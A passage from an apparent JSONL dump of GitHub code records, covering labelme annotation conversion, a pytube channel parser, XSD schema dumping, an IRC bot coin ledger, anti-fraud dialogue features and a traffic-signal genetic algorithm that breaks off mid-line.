isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(MyEncoder, self).default(obj)\n\n\n\n\ndef deal_json(json_file):\n data_cs = {}\n objects = []\n if not json_file.endswith('.json'):\n print('Cannot generating dataset from:', json_file)\n return None\n with open(json_file) as f:\n print('Generating dataset from:', json_file)\n data = json.load(f)\n data_cs['imgHeight'] = data['imageHeight']\n data_cs['imgWidth'] = data['imageWidth']\n \n # 画像全体をカバーするポリゴンを作成\n full_image_polygon = Polygon([(0, 0), (0, data_cs['imgHeight']), (data_cs['imgWidth'], data_cs['imgHeight']), (data_cs['imgWidth'], 0)])\n \n otherclass_polygon = full_image_polygon # 初期値として画像全体のポリゴンを設定\n \n for shapes in data['shapes']:\n obj = {}\n label = shapes['label']\n obj['label'] = label\n points = shapes['points']\n p_type = shapes['shape_type']\n if p_type == 'polygon':\n obj['polygon'] = points\n objects.append(obj) # 既存のラベル(SL, RAなど)の領域をそのまま保持\n \n # shapelyを使用してポリゴンオブジェクトを作成\n existing_polygon = Polygon(points)\n \n # 既存のポリゴン(SL, RAなど)を除去して、新しいポリゴン(otherclass)を更新\n otherclass_polygon = otherclass_polygon.difference(existing_polygon)\n \n # otherclassのポリゴンが複数の部分から構成されている場合、それぞれを個別に処理\n if isinstance(otherclass_polygon, MultiPolygon):\n otherclass_polygons = list(otherclass_polygon)\n else:\n otherclass_polygons = [otherclass_polygon]\n \n # 新しいshapeを作成してobjectsに追加\n for poly in otherclass_polygons:\n if poly.is_valid and not poly.is_empty: # ポリゴンが有効かつ空でないことを確認\n otherclass_obj = {\n \"label\": \"otherclass\",\n \"polygon\": list(poly.exterior.coords)\n }\n objects.append(otherclass_obj)\n \n data_cs['objects'] = objects\n return data_cs\n\n\ndef main():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter, )\n parser.add_argument('--json_input_dir', help='input annotated directory')\n parser.add_argument(\n '--output_dir',\n help='output dataset directory', )\n\n args = parser.parse_args()\n try:\n assert os.path.exists(args.json_input_dir)\n except AssertionError as e:\n print('The json folder does not exist!')\n os._exit(0)\n\n # Deal with the json files.\n total_num = len(glob.glob(osp.join(args.json_input_dir, '*.json')))\n for json_name in os.listdir(args.json_input_dir):\n data_cs = deal_json(osp.join(args.json_input_dir, json_name))\n if data_cs is None:\n continue\n json.dump(\n data_cs,\n open(osp.join(args.output_dir, 'all_'+json_name), 'w'),\n indent=4,\n cls=MyEncoder, )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Sora-tabata/Cityscapescreator","sub_path":"python_scripts/all_labelme.py","file_name":"all_labelme.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32490380729","text":"from Person import Person \n\ndef main():\n p1 = Person('王大锤', 12)\n p1.play()\n p1.age = 22\n p1.play()\n\n # AttributeError: 'Person' object has no attribute '_is_gay'\n person._is_gay = True\n\n\nif __name__ == '__main__':\n main()","repo_name":"CrabGeek/python","sub_path":"1-15/testPerporty.py","file_name":"testPerporty.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23172718286","text":"#/usr/bin/env python3.7\nupper_number = int(input(\"How many values should we process: \")) # should be a number devisible by 3 and 5 (e.g 15, 30)\nfor number in range(1, upper_number +1 ):\n if number % 3 == 0 and number % 5 == 0: # number divisible by 3 and 5 \n print(f\"works, the number you selected is {number}\")\n elif number % 3 == 0:\n print(\"The number is divisible by 3\")\n elif number % 5 == 0:\n print(f\" {number} is devisible by 5\")\n else:\n print(number)\n ","repo_name":"alexkimbi/full_puthon","sub_path":"loop_proj14.py","file_name":"loop_proj14.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32675910121","text":"# -*- coding: utf-8 -*-\nfrom pytube.exceptions import DownloadingError\nfrom pytube.youtube.provisioner import youtube_provisioner\nfrom pytube import json\nfrom . import meta\nfrom .schema import about_schema, generic_schema\n\n\nasync def _about_tab(data):\n return about_schema(data)\n\n\ntabs = {\n meta.ABOUT: _about_tab,\n}\n\n\nasync def parse_channel(get_content, id, types=None):\n get_content = youtube_provisioner(get_content)\n\n types = types or {meta.ABOUT}\n\n result = {}\n\n base_url = 'https://www.youtube.com/user/{}'.format(id)\n if id.startswith('UC'):\n base_url = 'https://www.youtube.com/channel/{}'.format(id)\n\n generic = None\n\n for type in types:\n url = '{}/{}'.format(base_url, type)\n status_code, content = \\\n await get_content(method='GET', url=url)\n if status_code != 200:\n raise DownloadingError(status_code, url, 'channel/{}'.format(type))\n\n data = json.loads(content)\n assert len(data) == 2\n\n if generic is None:\n generic = generic_schema(data)\n\n extractor = tabs[type]\n result[type] = await extractor(data)\n\n result['generic'] = generic\n\n return result\n","repo_name":"hell10w/pytube","sub_path":"pytube/youtube/channel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"25693423138","text":"# Distributed under the GPLv2 License; see accompanying file COPYING.\n\nimport operator\n\nimport dumco.schema.base as base\nimport dumco.schema.checks as checks\nimport dumco.schema.enums as enums\nimport dumco.schema.model as model\nimport dumco.schema.rng_types as rng_types\nimport dumco.schema.tuples as tuples\nimport dumco.schema.uses as uses\nimport dumco.schema.xsd_types as xsd_types\nfrom dumco.utils.horn import horn\nimport dumco.utils.string_utils\n\n\nXSD_PREFIX = 'xsd'\nXML_PREFIX = 'xml'\n\n\nclass XmlWriter(object):\n def __init__(self):\n self.indentation = 0\n self.namespaces = {}\n self.complex_content = []\n self.is_parent_finalized = True\n\n self._write('<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n')\n\n def done(self):\n assert len(self.complex_content) == 0\n self._close()\n\n def _indent(self):\n self._write(' ' * self.indentation * 2)\n\n def _finalize_parent_tag(self):\n if not self.is_parent_finalized:\n self._write('>\\n')\n self.complex_content[-1:] = [True]\n self.is_parent_finalized = True\n\n def open_tag(self, prefix, uri, tag):\n self._finalize_parent_tag()\n self.complex_content.append(False)\n\n self._indent()\n self._write('<{}:{}'.format(prefix, tag))\n self.define_namespace(prefix, uri)\n self.is_parent_finalized = False\n\n self.indentation += 1\n\n def add_wellformed_xml(self, xml_string):\n self._finalize_parent_tag()\n self._write(xml_string)\n\n def close_tag(self, prefix, uri, tag):\n self.indentation -= 1\n if self.complex_content[-1]:\n self._indent()\n self._write('</{}:{}>\\n'.format(prefix, tag))\n else:\n self._write('/>\\n')\n self.complex_content.pop()\n self.is_parent_finalized = True\n\n def define_namespace(self, prefix, uri):\n if (prefix in self.namespaces or\n (prefix == XML_PREFIX and uri == base.XML_NAMESPACE)):\n return\n\n self.namespaces[prefix] = uri\n real_prefix = '' if prefix is None else (':{}'.format(prefix))\n self._write(' xmlns{}=\"{}\"'.format(real_prefix, uri))\n\n def add_attribute(self, name, value, prefix=''):\n esc_value = dumco.utils.string_utils.quote_xml_attribute(value)\n if prefix != '':\n self._write(' {}:{}={}'.format(prefix, name, esc_value))\n else:\n self._write(' {}={}'.format(name, esc_value))\n\n def add_comment(self, comment):\n self._finalize_parent_tag()\n self._indent()\n self._write('<!-- {} -->\\n'.format(comment))\n\n\nclass TagGuard(object):\n def __init__(self, tag, writer, prefix=XSD_PREFIX,\n uri=xsd_types.XSD_NAMESPACE):\n self.prefix = prefix\n self.uri = uri\n self.tag = tag\n self.writer = writer\n\n def __enter__(self):\n self.writer.open_tag(self.prefix, self.uri, self.tag)\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.writer.close_tag(self.prefix, self.uri, self.tag)\n return exc_value is None\n\n\ndef _qname(name, own_schema, other_schema, context):\n if own_schema != other_schema:\n if own_schema is not None:\n context.store_import_namespace(own_schema.prefix,\n own_schema.target_ns)\n return '{}:{}'.format(own_schema.prefix, name)\n return name\n\n\ndef _type_qname(name, own_schema, other_schema, context):\n if own_schema.target_ns == rng_types.RNG_NAMESPACE:\n return 'xsd:{}'.format(name)\n return _qname(name, own_schema, other_schema, context)\n\n\ndef _element_form(elem, context):\n elem_form = context.element_forms.get(elem.schema, None)\n if elem_form is not None:\n if ((not elem.qualified and not elem_form) or\n (elem.qualified and elem_form)):\n return None\n elif elem.qualified:\n return 'qualified'\n else:\n return 'unqualified'\n else:\n return None\n\n\ndef _attribute_form(attr, context):\n attr_form = context.attribute_forms.get(attr.schema, None)\n if attr_form is not None:\n if ((not attr.qualified and not attr_form) or\n (attr.qualified and attr_form)):\n return None\n elif attr.qualified:\n return 'qualified'\n else:\n return 'unqualified'\n else:\n return None\n\n\ndef is_top_level_attribute(attr_use):\n # Required and default value should not be present at the same time.\n assert (not attr_use.required or attr_use.constraint.fixed or\n attr_use.constraint.value is None)\n return (attr_use.required and not attr_use.attribute.constraint.fixed and\n attr_use.attribute.constraint.value is not None)\n\n\ndef dump_restriction(restriction, schema, context):\n with TagGuard('restriction', context):\n context.add_attribute(\n 'base', _type_qname(restriction.base.name, restriction.base.schema,\n schema, context))\n\n if restriction.enumerations:\n for e in restriction.enumerations:\n with TagGuard('enumeration', context):\n context.add_attribute('value', e.value)\n if restriction.fraction_digits is not None:\n with TagGuard('fractionDigits', context):\n context.add_attribute('value', restriction.fraction_digits)\n if restriction.length is not None:\n with TagGuard('length', context):\n context.add_attribute('value', restriction.length)\n if restriction.max_exclusive is not None:\n with TagGuard('maxExclusive', context):\n context.add_attribute('value', restriction.max_exclusive)\n if restriction.max_inclusive is not None:\n with TagGuard('maxInclusive', context):\n context.add_attribute('value', restriction.max_inclusive)\n if restriction.max_length is not None:\n with TagGuard('maxLength', context):\n context.add_attribute('value', restriction.max_length)\n if restriction.min_exclusive is not None:\n with TagGuard('minExclusive', context):\n context.add_attribute('value', restriction.min_exclusive)\n if restriction.min_inclusive is not None:\n with TagGuard('minInclusive', context):\n context.add_attribute('value', restriction.min_inclusive)\n if restriction.min_length is not None:\n with TagGuard('minLength', context):\n context.add_attribute('value', restriction.min_length)\n if restriction.patterns:\n for p in restriction.patterns:\n with TagGuard('pattern', context):\n context.add_attribute('value', p)\n if restriction.total_digits is not None:\n with TagGuard('totalDigits', context):\n context.add_attribute('value', restriction.total_digits)\n if restriction.white_space is not None:\n if restriction.white_space == model.Restriction.WS_PRESERVE:\n value = 'preserve'\n elif restriction.white_space == model.Restriction.WS_REPLACE:\n value = 'replace'\n elif restriction.white_space == model.Restriction.WS_COLLAPSE:\n value = 'collapse'\n with TagGuard('whiteSpace', context):\n context.add_attribute('value', value)\n\n\ndef dump_listitems(listitems, schema, context):\n assert len(listitems) == 1, 'Cannot dump xsd:list'\n\n with TagGuard('list', context):\n context.add_attribute(\n 'itemType', _type_qname(listitems[0].type.name,\n listitems[0].type.schema,\n schema, context))\n\n\ndef dump_union(union, schema, context):\n assert all([checks.is_primitive_type(m) for m in union])\n\n with TagGuard('union', context):\n context.add_attribute(\n 'memberTypes',\n ' '.join([_type_qname(m.name, m.schema, schema, context)\n for m in union]))\n\n\ndef dump_simple_content(ct, schema, context):\n with TagGuard('simpleContent', context):\n with TagGuard('extension', context):\n qn = _type_qname(ct.text().type.name, ct.text().type.schema,\n schema, context)\n context.add_attribute('base', qn)\n\n dump_attribute_uses(ct, schema, context)\n\n\ndef _dump_occurs_attributes(min_occurs, max_occurs, context):\n if min_occurs != 1:\n context.add_attribute('minOccurs', min_occurs)\n if max_occurs != 1:\n context.add_attribute('maxOccurs', 'unbounded'\n if max_occurs == base.UNBOUNDED\n else max_occurs)\n\n\ndef dump_particle(ct, schema, context):\n def dump_element(particle, min_occurs, max_occurs):\n groups = context.egroups.get(particle.term.schema, {})\n\n hashable_particle = tuples.HashableParticle(particle, None)\n if hashable_particle in groups.iterkeys():\n group_name = groups[hashable_particle].name\n\n with TagGuard('group', context):\n context.add_attribute(\n 'ref', _qname(group_name, particle.term.schema,\n schema, context))\n\n return\n\n top_elements = particle.term.schema.elements\n is_element_definition = particle.term not in top_elements\n\n with TagGuard('element', context):\n _dump_occurs_attributes(min_occurs, max_occurs, context)\n\n dump_element_attributes(particle.term, is_element_definition,\n schema, context)\n\n form = (None if not is_element_definition\n else _element_form(particle.term, context))\n if form is not None:\n context.add_attribute('form', form)\n\n def dump_any(particle, min_occurs, max_occurs):\n constraint = _get_any_constraint_text(particle.term.constraint, schema)\n\n with TagGuard('any', context):\n _dump_occurs_attributes(min_occurs, max_occurs, context)\n\n context.add_attribute('namespace', constraint)\n\n def dump_terminal(level, subparents, subpart):\n if level < len(subparents):\n min_occurs = reduce(\n lambda acc, x: uses.min_occurs_op(acc, x.min_occurs,\n operator.mul),\n subparents[level:], 1)\n max_occurs = reduce(\n lambda acc, x: uses.max_occurs_op(acc, x.max_occurs,\n operator.mul),\n subparents[level:], 1)\n\n min_occurs = uses.min_occurs_op(min_occurs, subpart.min_occurs,\n operator.mul)\n max_occurs = uses.max_occurs_op(max_occurs, subpart.max_occurs,\n operator.mul)\n else:\n min_occurs = subpart.min_occurs\n max_occurs = subpart.max_occurs\n\n if checks.is_element(subpart.term):\n dump_element(subpart, min_occurs, max_occurs)\n elif checks.is_any(subpart.term):\n dump_any(subpart, min_occurs, max_occurs)\n\n def dump_compositor(comp_name, comp_min, comp_max, hierarchy, level):\n with TagGuard(comp_name, context):\n _dump_occurs_attributes(comp_min, comp_max, context)\n\n dump_hierarchy(hierarchy, level, False)\n\n def get_compositor_info(particle, is_first_in_ct):\n if checks.is_interleave(particle.term):\n members = [m for m in particle.term.members\n if (checks.is_particle(m) and\n not context.om.is_opaque_ct_member(ct, m.term))]\n\n if (particle.max_occurs == 1 and\n all([(checks.is_element(m.term) and\n m.max_occurs <= 1) for m in members]) and\n is_first_in_ct):\n return (particle.min_occurs,\n particle.max_occurs, 'all')\n else:\n horn.peep('Cannot represent xsd:all. Approximating '\n 'with xsd:choice')\n return (0, base.UNBOUNDED, 'choice')\n\n return (particle.min_occurs, particle.max_occurs,\n particle.term.__class__.__name__.lower())\n\n def dump_hierarchy(hierarchy, level, is_first_compositor):\n assert hierarchy\n\n subhierarchies = [[]]\n\n curr_parents = hierarchy[0][0]\n for (parents, part) in hierarchy:\n if (level < len(curr_parents) and level < len(parents) and\n curr_parents[level] == parents[level]):\n subhierarchies[-1].append((parents, part))\n continue\n\n curr_parents = parents\n if subhierarchies[-1]:\n subhierarchies.append([(parents, part)])\n else:\n subhierarchies[-1].append((parents, part))\n\n for subhierarchy in subhierarchies:\n len_subhierarchy = len(subhierarchy)\n\n if (len_subhierarchy > 1 or\n (len_subhierarchy == 1 and level == 0)):\n (subparents, subpart) = subhierarchy[0]\n\n if len_subhierarchy == 1:\n # Handle the case when we have to dump compositor with\n # single child and this compositor is the first child of\n # complex type. We always convert it to sequence because\n # on loading we load such cases only as sequence.\n with TagGuard('sequence', context):\n dump_terminal(level, subparents, subpart)\n\n continue\n\n (comp_min, comp_max, comp_name) = \\\n get_compositor_info(subparents[level], is_first_compositor)\n\n sublevel = level + 1\n while sublevel < len(subparents):\n subparent = subparents[sublevel]\n if all([sublevel < len(ps) and subparent == ps[sublevel]\n for (ps, p) in subhierarchy]):\n sublevel = sublevel + 1\n\n (c_min, c_max, comp_name) = \\\n get_compositor_info(subparent, is_first_compositor)\n\n comp_min = uses.min_occurs_op(comp_min, c_min,\n operator.mul)\n comp_max = uses.max_occurs_op(comp_max, c_max,\n operator.mul)\n else:\n break\n\n dump_compositor(comp_name, comp_min, comp_max,\n subhierarchy, sublevel)\n elif len_subhierarchy == 1:\n (subparents, subpart) = subhierarchy[0]\n\n dump_terminal(level, subparents, subpart)\n\n root = [(p[1:], x) for (p, x)\n in enums.enum_supported_elements_hierarchy(ct, context.om)]\n\n dump_hierarchy(root, 0, True)\n\n\ndef dump_attribute_uses(ct, schema, context):\n def enum_sorted_attributes(ct, schema):\n if checks.is_single_attribute_type(ct):\n yield enums.get_single_attribute(ct)\n return\n\n for u in sorted(enums.enum_supported_attributes_flat(ct, context.om),\n key=lambda u: uses.attribute_key(u, schema)):\n yield u\n\n anys = []\n for u in enum_sorted_attributes(ct, schema):\n if checks.is_attribute(u.attribute):\n dump_attribute_use(u, schema, context)\n elif checks.is_any(u.attribute):\n anys.append(u.attribute)\n\n if anys:\n constraints = [_get_any_constraint_text(a.constraint, schema)\n for a in anys]\n\n with TagGuard('anyAttribute', context):\n if any([c == '##any' for c in constraints]):\n context.add_attribute('namespace', '##any')\n elif any([c == '##other' for c in constraints]):\n if any([c == schema.target_ns for c in constraints]):\n context.add_attribute('namespace', '##any')\n else:\n context.add_attribute('namespace', '##other')\n else:\n context.add_attribute('namespace', ' '.join(constraints))\n\n\ndef dump_element_particle(particle, schema, context):\n assert checks.is_element(particle.term)\n\n with TagGuard('element', context):\n _dump_occurs_attributes(\n particle.min_occurs, particle.max_occurs, context)\n\n dump_element_attributes(particle.term, True, schema, context)\n\n form = _element_form(particle.term, context)\n if form is not None:\n context.add_attribute('form', form)\n\n\ndef dump_attribute_use(attr_use, schema, context):\n assert checks.is_attribute(attr_use.attribute)\n\n attribute = attr_use.attribute\n\n if (not checks.is_xml_attribute(attribute) and\n not is_top_level_attribute(attr_use) and\n attribute.schema != schema):\n # We reference attribute from other schema but since in most cases\n # we don't want to maintain top-level attributes we can reference then\n # only attribute group.\n groups = context.agroups[attribute.schema]\n group_name = groups[tuples.HashableAttributeUse(attr_use, None)].name\n with TagGuard('attributeGroup', context):\n context.add_attribute(\n 'ref',\n _qname(group_name, attribute.schema, schema, context))\n\n return\n\n with TagGuard('attribute', context):\n if (checks.is_xml_attribute(attribute) or\n is_top_level_attribute(attr_use)):\n context.add_attribute(\n 'ref', _qname(attribute.name, attribute.schema,\n schema, context))\n\n _dump_value_constraint(attr_use.constraint, context)\n else:\n dump_attribute_attributes(attribute, schema, context)\n\n if attribute.constraint.value is None:\n _dump_value_constraint(attr_use.constraint, context)\n\n form = _attribute_form(attr_use.attribute, context)\n if form is not None:\n context.add_attribute('form', form)\n\n if attr_use.required:\n context.add_attribute('use', 'required')\n\n\ndef dump_attribute_attributes(attribute, schema, context):\n assert checks.is_attribute(attribute)\n\n context.add_attribute(\n 'name',\n _qname(attribute.name, attribute.schema, schema, context))\n\n if not checks.is_simple_urtype(attribute.type):\n context.add_attribute(\n 'type', _type_qname(attribute.type.name, attribute.type.schema,\n schema, context))\n\n _dump_value_constraint(attribute.constraint, context)\n\n\ndef dump_element_attributes(element, is_element_definition,\n schema, context):\n assert checks.is_element(element)\n\n if is_element_definition:\n context.add_attribute(\n 'name',\n _qname(element.name, element.schema, schema, context))\n\n if (not checks.is_complex_urtype(element.type) and\n not checks.is_simple_urtype(element.type)):\n context.add_attribute(\n 'type', _type_qname(element.type.name, element.type.schema,\n schema, context))\n\n _dump_value_constraint(element.constraint, context)\n else:\n context.add_attribute(\n 'ref',\n _qname(element.name, element.schema, schema, context))\n\n\ndef _dump_value_constraint(constraint, context):\n if constraint.fixed:\n assert constraint.value, \\\n 'Constraint has fixed value but the value itself is unknown'\n context.add_attribute('fixed',\n constraint.value)\n elif constraint.value is not None:\n context.add_attribute('default',\n constraint.value)\n\n\ndef _get_any_constraint_text(constraint, schema):\n if constraint is None:\n return '##any'\n elif (isinstance(constraint, model.Any.Not) and\n constraint.name.ns == schema.target_ns and\n constraint.name.tag is None):\n return '##other'\n elif (isinstance(constraint, model.Any.Name) and\n constraint.ns == schema.target_ns and constraint.tag is None):\n return '##targetNamespace'\n elif (isinstance(constraint, model.Any.Name) and\n constraint.ns is not None and constraint.tag is None):\n return constraint.ns\n else:\n horn.peep(\n 'Cannot represent constraint \\'{}\\' for xsd:any. '\n 'Approximating with ##any'.format(str(constraint)))\n return '##any'\n","repo_name":"volo-zyko/DummyCoder","sub_path":"dumco/schema/prv/dump_utils.py","file_name":"dump_utils.py","file_ext":"py","file_size_in_byte":20877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24994026016","text":"import asyncio\nfrom bot import *\n\n\nasync def bal(self):\n bals = {}\n for t in self.ledger:\n await asyncio.sleep(0) # yeild control as this is a long operation\n t[\"amount\"] = float(t[\"amount\"])\n if t[\"amount\"] < 0.01:\n self.ledger.delete(id=t[\"id\"])\n continue # dont send negative money lol\n if t[\"sender\"] not in bals:\n bals[t[\"sender\"]] = 0.00\n if t[\"to\"] not in bals:\n bals[t[\"to\"]] = 0.00\n\n if t[\"sender\"] != \"bank\" and round(bals[t[\"sender\"]], 2) - t[\"amount\"] < 0.0:\n self.ledger.delete(id=t[\"id\"])\n continue # no debt for you\n bals[t[\"sender\"]] += 0 - t[\"amount\"]\n bals[t[\"to\"]] += t[\"amount\"]\n\n for i in bals:\n bals[\"bank\"] += bals[i] * 0.001\n bals[i] -= bals[i] * 0.001\n self.initfund = abs(bals[\"bank\"])\n return bals\n\n\nasync def send(self, c, n, m):\n m = m.split(\" \")\n if len(m) < 2:\n await self.message(c, \"invalid syntax\")\n return\n try:\n to = self.users[m.pop(0).lower()].account\n except:\n await self.message(\n c,\n \"that user is not logged in. refusing so coins are not lost\",\n )\n if to == \"\":\n await self.message(c, \"they must authenticate with nickserv.\")\n return\n amount = round(float(m.pop(0)), 2)\n message = \" \".join(m)\n sender = self.users[n.lower()].account\n\n self.ledger.insert(dict(to=to, sender=sender, amount=amount, message=message))\n\n await self.message(\n c, \"added transaction to ledger, check balances to verify\"\n )\n\n\nasync def balance(self, c, n, m):\n m = m.strip()\n if len(m) < 1:\n m = n\n try:\n m = self.users[m.lower()].account\n except:\n m = m\n if m == \"\":\n m = m\n bals = await bal(self)\n if m in bals:\n latest = self.ledger.find_one(to=m, order_by=\"-id\")\n if latest:\n await self.message(\n c,\n \"{}\\u200c{}'s balance is {} BUTT (Balun Useless Trading Tokens), {}% of the total supply\".format(\n m[:1],\n m[1:],\n round(bals[m], 2),\n int((bals[m] / self.initfund) * 100),\n )\n + '. last deposit: [{} from {}, \"{}\"]'.format(\n latest[\"amount\"], latest[\"sender\"], latest[\"message\"]\n ),\n )\n else:\n await self.message(\n c,\n \"{}\\u200c{}'s balance is {} BUTT (Balun Useless Trading Tokens), {}% of the total supply\".format(\n m[:1],\n m[1:],\n round(bals[m], 2),\n int((bals[m] / self.initfund) * 100),\n ),\n )\n else:\n await self.message(c, \"this user has never made a transaction\")\n\n\nasync def richest(self, c, n, m):\n richest = sorted((await bal(self)).items(), key=lambda item: item[1], reverse=True)[\n :10\n ]\n\n await self.message(\n c,\n \"richest users: \"\n + \", \".join(\n [\n i[0][:1] + \"\\u200c\" + i[0][1:] + \": \" + str(round(i[1], 2))\n for i in richest\n ]\n ),\n )\n\n\nasync def init(self):\n self.ledger = shared.db[\"ledger\"]\n self.initfund = 1\n\n shared.commands[\"tipcoins\"] = send\n shared.commands[\"sendcoins\"] = send\n shared.commands[\"balance\"] = balance\n shared.commands[\"richest\"] = richest\n\n return\n self.help[\"sendcoins\"] = [\n \"sendcoins <recipient> <amount> [message] - send someone coins. note (more)\",\n \"this does NOT verify transactions went through!! check your balance after\",\n ]\n self.help[\"balance\"] = [\"balance [person] - check someone's balance\", \"coins owo\"]\n self.help[\"richest\"] = [\"richest - who has the most coins\", \"coins owo\"]\n","repo_name":"xfnw/oirc","sub_path":"modules/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8681349532","text":"# coding = utf-8\nfrom itertools import chain\nimport os\nimport json\nimport math\nimport numpy as np\nfrom src.config import DATA_ROOT, DEGREE_FILED, SE_FREQS_FILED, DYNAMIC_FEATURE_SIZE\n\nwith open(os.path.join(DATA_ROOT, \"se_freqs_bins.json\"), \"r\") as f:\n se_freqs_bins = json.load(f)\n\n\nclass NodeFeature(object):\n def __init__(self):\n self.se_freqs_bins = se_freqs_bins\n\n def static_feature(self,\n nodes,\n personal_information,\n one_step_nodes,\n node_se_freqs,\n node_degree,\n node_in_degree,\n node_out_degree):\n \"\"\" Get feature before the dialogue. \"\"\"\n answer_nodes = list(chain(*one_step_nodes.values()))\n static_feature_matrix = list()\n for node, se_freqs, degree, in_degree, out_degree in zip(nodes,\n node_se_freqs,\n node_degree,\n node_in_degree,\n node_out_degree):\n vector = list()\n\n # the personal information type of this node\n for value in personal_information.values():\n if node == value:\n vector.append(1)\n else:\n vector.append(0)\n\n # if the node is the answer node\n if node in answer_nodes:\n vector.append(1)\n else:\n vector.append(0)\n\n for i, max_se_freqs in enumerate(self.se_freqs_bins):\n if math.log(se_freqs + 1) <= max_se_freqs:\n vector.extend(self.one_hot(i, SE_FREQS_FILED))\n break\n\n vector.extend(self.one_hot(degree, DEGREE_FILED))\n # vector.extend(self.one_hot(in_degree, IN_DEGREE_FILED))\n # vector.extend(self.one_hot(out_degree, OUT_DEGREE_FILED))\n static_feature_matrix.append(vector)\n return static_feature_matrix\n\n @staticmethod\n def one_hot(idx, max_length):\n v = [0 for _ in range(max_length)]\n if idx > max_length - 1:\n v[-1] = 1\n else:\n v[idx] = 1\n return v\n\n @staticmethod\n def dialogue_feature(max_node_num,\n nodes,\n explored_nodes,\n last_turn_q_node,\n last_turn_a_node,\n not_explored_nodes,\n known_nodes,\n unknown_nodes,\n not_answered_nodes):\n \"\"\" Get feature during the dialogue. Support batch. \"\"\"\n dialogue_feature_matrix = np.zeros((max_node_num, DYNAMIC_FEATURE_SIZE))\n\n for node in nodes:\n vector = list()\n if node in explored_nodes:\n vector.append(1)\n else:\n vector.append(0)\n\n if node == last_turn_q_node:\n vector.append(1)\n else:\n vector.append(0)\n\n if node == last_turn_a_node:\n vector.append(1)\n else:\n vector.append(0)\n\n if node in not_explored_nodes:\n vector.append(1)\n else:\n vector.append(0)\n\n if node in known_nodes:\n vector.append(1)\n else:\n vector.append(0)\n\n if node in unknown_nodes:\n vector.append(1)\n else:\n vector.append(0)\n\n if node in not_answered_nodes:\n vector.append(1)\n else:\n vector.append(0)\n\n dialogue_feature_matrix[node] = np.asarray(vector, dtype=np.float32)\n\n return dialogue_feature_matrix\n","repo_name":"Leechikara/Dialogue-Based-Anti-Fraud","sub_path":"src/Graph/node_feature.py","file_name":"node_feature.py","file_ext":"py","file_size_in_byte":3964,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"5"} +{"seq_id":"74248664151","text":"import copy\nimport random\nimport typing\n\nfrom Search.alt_state import Gstate\nfrom TrafficSimulator.window import *\nfrom TrafficSimulator.Setups.two_way_intersection import *\n\nINIT_SOLUTION_5 = [[0, 0, 0, 1, 0], [0, 0, 1, 0, 0], [0, 0, 0, 0, 1],\n [1, 0, 0, 0, 0],\n [0, 1, 0, 0, 0], [0, 0, 0, 0, 0]]\nINIT_SOLUTION_3 = [[0, 0, 0], [0, 0, 1], [1, 0, 0],\n [0, 1, 0]]\nINIT_SOLUTION_4 = [[0, 0, 0, 1], [0, 0, 1, 0], [0, 0, 0, 0],\n [1, 0, 0, 0], [0, 1, 0, 0], [1, 0, 0, 1]]\n\nINIT_SOLUTION_6 = [[0, 0, 0, 1, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 1, 0],\n [1, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0],\n [1, 0, 0, 1, 0, 0]]\nINI_SOLS = {3: INIT_SOLUTION_3, 4: INIT_SOLUTION_4, 5: INIT_SOLUTION_5,\n 6: INIT_SOLUTION_6}\nPARTITION_INDEX = 2\n\n\ndef take_eval(elem):\n \"\"\"\n Helper function for sorting, returns the eval attribute of an object\n \"\"\"\n return elem.eval\n\n\nclass Solution:\n \"\"\"\n A Solution is an object that contains a schedule and its evaluated score\n The solution is a list of actions, to commit on the simulation\n \"\"\"\n\n def __init__(self, solution):\n \"\"\"\n\n :param solution:\n \"\"\"\n self.solution = solution\n self.eval = 0\n\n def evaluate(self, state: Gstate):\n \"\"\"\n Evaluates purposed solution on the given state\n :param state: a \"snapshot\" of the current simulation\n \"\"\"\n state.penalty = 1\n for action in self.solution:\n state.apply_action(action)\n if state.abrupt():\n self.eval = 0\n break\n if not state.abrupt():\n # While running the solution on the state we calculate a score\n # and penalty\n self.eval = state.score * state.penalty\n\n\ndef check_unavoidable(state: Gstate):\n \"\"\"\n Checks if there will be an unavoidable collision\n \"\"\"\n cs = copy.deepcopy(state)\n cs.apply_action(0)\n if cs.abrupt():\n return True\n return False\n\n\nclass Genetics:\n \"\"\"\n \"\"\"\n\n def __init__(self, solution_length, action_space):\n \"\"\"\n\n :param solution_length: a number ranges from 3-6\n :param action_space: the action space for the mutation\n \"\"\"\n self.possible_solutions = []\n self.solution_length = solution_length\n self.action_space = action_space\n\n def generate_innit_solution(self) -> None:\n \"\"\"\n Creates Initial solution list, after many testing we realized there\n should be a fixed list of simple schedules\n \"\"\"\n for c in INI_SOLS[self.solution_length]:\n sol = Solution(c)\n self.possible_solutions.append(sol)\n\n def run_eval(self, state: Gstate) -> None:\n \"\"\"\n Runs evaluation on each of the possible solution\n :param state: a given state of the running simulation\n \"\"\"\n for sol in self.possible_solutions:\n cs = copy.deepcopy(state)\n sol.evaluate(cs)\n\n def cross_over(self) -> None:\n \"\"\"\n applies the cross over process in the genetic algorithm\n \"\"\"\n self.possible_solutions.sort(key=take_eval)\n new_sol_chain = []\n for i in range(0, len(self.possible_solutions) - 1, 2):\n new_chain = 